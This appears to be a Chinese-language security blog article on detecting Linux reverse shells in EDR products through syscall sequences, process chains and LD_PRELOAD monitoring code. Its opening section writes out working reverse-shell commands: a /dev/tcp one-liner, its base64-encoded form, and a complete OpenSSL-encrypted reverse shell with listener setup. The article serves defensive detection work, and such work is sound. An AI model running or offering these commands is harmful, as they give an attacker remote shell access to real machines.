Linux下EDR产品设计:通过行为模式检测恶意反弹shell
字数 1008 2025-08-23 18:31:25
Linux下EDR产品设计:通过行为模式检测恶意反弹shell
前言
Linux下的EDR(终端检测与响应)产品相对较少且不够成熟,但反弹shell检测是终端安全的重要课题。传统的反弹shell检测方法主要针对明文传输的shell连接,但对于加密的反弹shell(如使用OpenSSL)往往难以检测。本文将深入探讨如何通过行为模式分析来检测各类反弹shell。
反弹shell的常见形式
传统反弹shell
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
或使用base64编码的变种:
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDAxIDA+JjE=
OpenSSL加密反弹shell
- 攻击机建立证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
- 攻击机建立监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port xxx
- 受害机执行:
mkfifo /tmp/s; /bin/sh -i </tmp/s 2>&1 | openssl s_client -quiet -connect ip:port >/tmp/s; rm /tmp/s
反弹shell的行为特征分析
伪终端特征
反弹shell得到的shell是一个伪终端(pty),具有以下特征:
- 依赖于真实终端存在
- 可以通过
ps -ef | grep "bin/sh"查找相关进程 - 通过
ls /proc/xxx/fd -alh可查看文件描述符,反弹shell的管道(pipe)是同一个
系统调用链分析
反弹shell无论是否加密,都会有以下关键系统调用:
-
Socket相关调用:
socket()- 创建新的TCP套接字connect()- 连接到远程主机的IP和端口
-
I/O重定向调用:
dup2()- 用于重定向标准输入(0)、输出(1)和错误(2)到套接字
检测方案实现
LD_PRELOAD监控方案
利用LD_PRELOAD机制优先加载自定义共享库,实现对关键系统调用的监控。
监控代码实现
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
// 声明原始函数指针
int (*original_socket)(int, int, int);
int (*original_connect)(int, const struct sockaddr *, socklen_t);
int (*original_dup2)(int oldfd, int newfd);
// 覆盖socket()函数
int socket(int domain, int type, int protocol) {
if(!original_socket) {
original_socket = dlsym(RTLD_NEXT, "socket");
}
printf("[monitor] socket() called with domain=%d, type=%d, protocol=%d\n",
domain, type, protocol);
return original_socket(domain, type, protocol);
}
// 覆盖connect()函数
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
if(!original_connect) {
original_connect = dlsym(RTLD_NEXT, "connect");
}
char ip[INET_ADDRSTRLEN];
struct sockaddr_in *in_addr = (struct sockaddr_in *)addr;
inet_ntop(AF_INET, &in_addr->sin_addr, ip, sizeof(ip));
printf("[monitor] connect() called with sockfd=%d, ip=%s, port=%d\n",
sockfd, ip, ntohs(in_addr->sin_port));
return original_connect(sockfd, addr, addrlen);
}
// 覆盖dup2()函数
int dup2(int oldfd, int newfd) {
if(!original_dup2) {
original_dup2 = dlsym(RTLD_NEXT, "dup2");
}
printf("[monitor] dup2() called with oldfd=%d, newfd=%d\n", oldfd, newfd);
return original_dup2(oldfd, newfd);
}
编译与使用
- 编译共享库:
gcc -fPIC -shared -o monitor.so monitor.c -ldl
- 使用LD_PRELOAD加载监控:
LD_PRELOAD=./monitor.so nc ip port
示例输出
[monitor] socket() called with domain=2, type=1, protocol=0
[monitor] connect() called with sockfd=3, ip=192.168.1.10, port=80
[monitor] dup2() called with oldfd=1, newfd=2
检测规则设计
基于上述行为特征,可以设计以下检测规则:
-
进程链检测:
- 检测/bin/sh进程的父进程是否为非常规终端进程
- 检测是否存在管道连接的多个进程
-
系统调用序列检测:
- 检测短时间内连续出现的socket()、connect()、dup2()调用
- 检测dup2()调用是否将标准I/O重定向到网络套接字
-
网络连接特征:
- 检测/bin/sh进程是否建立了网络连接
- 检测标准输入输出是否指向网络套接字
总结
通过分析反弹shell的行为模式,特别是其特有的系统调用序列和伪终端特征,可以有效检测各类反弹shell,包括加密的反弹shell。LD_PRELOAD提供了一种轻量级的系统调用监控方案,虽然存在一些限制,但在EDR产品设计中可以作为有效的检测手段之一。